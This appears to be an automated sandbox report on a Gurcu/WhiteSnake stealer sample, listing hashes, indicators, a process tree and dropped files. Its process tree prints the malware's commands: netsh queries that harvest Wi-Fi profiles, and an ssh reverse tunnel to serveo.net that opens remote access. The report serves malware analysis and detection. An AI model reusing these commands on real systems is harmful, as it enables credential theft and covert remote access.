gurcu | a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d

Analysis

max time kernel
126s
max time network
149s
platform
windows10-1703_x64
resource
win10-20230831-en
resource tags

arch:x64arch:x86image:win10-20230831-enlocale:en-usos:windows10-1703-x64system
submitted
23-09-2023 20:50

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General

Target

a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe
Size

62KB
MD5

5f0bbf0b4ce5fa0bca57f1230e660dff
SHA1

529e438c21899eff993c0871ce07aff037d7f10d
SHA256

a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d
SHA512

ddede174b3aac4bbf434e1d61da8fa858b4bde11850a75b113376dccb7356f054a9fb696f498cb01c040cec33bb03d75c8c7b2787d46fc33569aeb753ee16131
SSDEEP

768:I6rewtkBtW3vKSuJS4/bk/4wYMucso7ufooXRsG4TsJOTYp/eKcZbsDzmiKwnq+R:nkjWfKSYS4Yfso8DXt4IroJqYPmkK

Score

10^/10

gurcu collection stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 1 IoCs

resource	yara_rule
behavioral1/memory/3020-7-0x0000000000400000-0x000000000044E000-memory.dmp	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Executes dropped EXE 1 IoCs

pid	Process
1364	ssh.exe

Loads dropped DLL 1 IoCs

pid	Process
1364	ssh.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5064 set thread context of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe
3020	aspnet_compiler.exe
3020	aspnet_compiler.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe
Token: SeDebugPrivilege	3020	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 5064 wrote to memory of 3020	5064	a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe	70
PID 3020 wrote to memory of 2036	3020	aspnet_compiler.exe	71
PID 3020 wrote to memory of 2036	3020	aspnet_compiler.exe	71
PID 3020 wrote to memory of 2036	3020	aspnet_compiler.exe	71
PID 2036 wrote to memory of 4432	2036	cmd.exe	73
PID 2036 wrote to memory of 4432	2036	cmd.exe	73
PID 2036 wrote to memory of 4432	2036	cmd.exe	73
PID 2036 wrote to memory of 2868	2036	cmd.exe	74
PID 2036 wrote to memory of 2868	2036	cmd.exe	74
PID 2036 wrote to memory of 2868	2036	cmd.exe	74
PID 2036 wrote to memory of 2492	2036	cmd.exe	75
PID 2036 wrote to memory of 2492	2036	cmd.exe	75
PID 2036 wrote to memory of 2492	2036	cmd.exe	75
PID 3020 wrote to memory of 2488	3020	aspnet_compiler.exe	76
PID 3020 wrote to memory of 2488	3020	aspnet_compiler.exe	76
PID 3020 wrote to memory of 2488	3020	aspnet_compiler.exe	76
PID 2488 wrote to memory of 5080	2488	cmd.exe	78
PID 2488 wrote to memory of 5080	2488	cmd.exe	78
PID 2488 wrote to memory of 5080	2488	cmd.exe	78
PID 2488 wrote to memory of 2548	2488	cmd.exe	79
PID 2488 wrote to memory of 2548	2488	cmd.exe	79
PID 2488 wrote to memory of 2548	2488	cmd.exe	79
PID 2488 wrote to memory of 3304	2488	cmd.exe	80
PID 2488 wrote to memory of 3304	2488	cmd.exe	80
PID 2488 wrote to memory of 3304	2488	cmd.exe	80
PID 3020 wrote to memory of 1364	3020	aspnet_compiler.exe	82
PID 3020 wrote to memory of 1364	3020	aspnet_compiler.exe	82
PID 3020 wrote to memory of 1364	3020	aspnet_compiler.exe	82

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3540700546-2554825161-2349363825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe
"C:\Users\Admin\AppData\Local\Temp\a4c58de9ff779e2b5c28d35dde1884891ab419e909e42c5a164ea576d8348e6d.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Accesses Microsoft Outlook profiles
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:3020
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      PID:4432
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:2868
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /R /C:"[ ]:[ ]"
      4⤵
      PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\SysWOW64\chcp.com
      chcp 65001
      4⤵
      PID:5080
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      PID:2548
  - - C:\Windows\SysWOW64\findstr.exe
      findstr "SSID BSSID Signal"
      4⤵
      PID:3304
- - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:7465 serveo.net
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
memory/3020-11-0x00000000053F0000-0x0000000005400000-memory.dmp

Filesize
64KB

Download
memory/3020-14-0x00000000062E0000-0x0000000006346000-memory.dmp

Filesize
408KB

Download
memory/3020-7-0x0000000000400000-0x000000000044E000-memory.dmp

Filesize
312KB

Download
memory/3020-130-0x00000000053F0000-0x0000000005400000-memory.dmp

Filesize
64KB

Download
memory/3020-10-0x0000000073630000-0x0000000073D1E000-memory.dmp

Filesize
6.9MB

Download
memory/3020-129-0x0000000073630000-0x0000000073D1E000-memory.dmp

Filesize
6.9MB

Download
memory/3020-13-0x0000000006240000-0x00000000062D2000-memory.dmp

Filesize
584KB

Download
memory/5064-6-0x0000000006DB0000-0x00000000072AE000-memory.dmp

Filesize
5.0MB

Download
memory/5064-5-0x0000000006800000-0x000000000684C000-memory.dmp

Filesize
304KB

Download
memory/5064-4-0x0000000006720000-0x0000000006782000-memory.dmp

Filesize
392KB

Download
memory/5064-3-0x0000000006570000-0x00000000065E4000-memory.dmp

Filesize
464KB

Download
memory/5064-2-0x0000000005280000-0x0000000005290000-memory.dmp

Filesize
64KB

Download
memory/5064-1-0x0000000073630000-0x0000000073D1E000-memory.dmp

Filesize
6.9MB

Download
memory/5064-0-0x00000000009D0000-0x00000000009E4000-memory.dmp

Filesize
80KB

Download
memory/5064-9-0x0000000073630000-0x0000000073D1E000-memory.dmp

Filesize
6.9MB

Download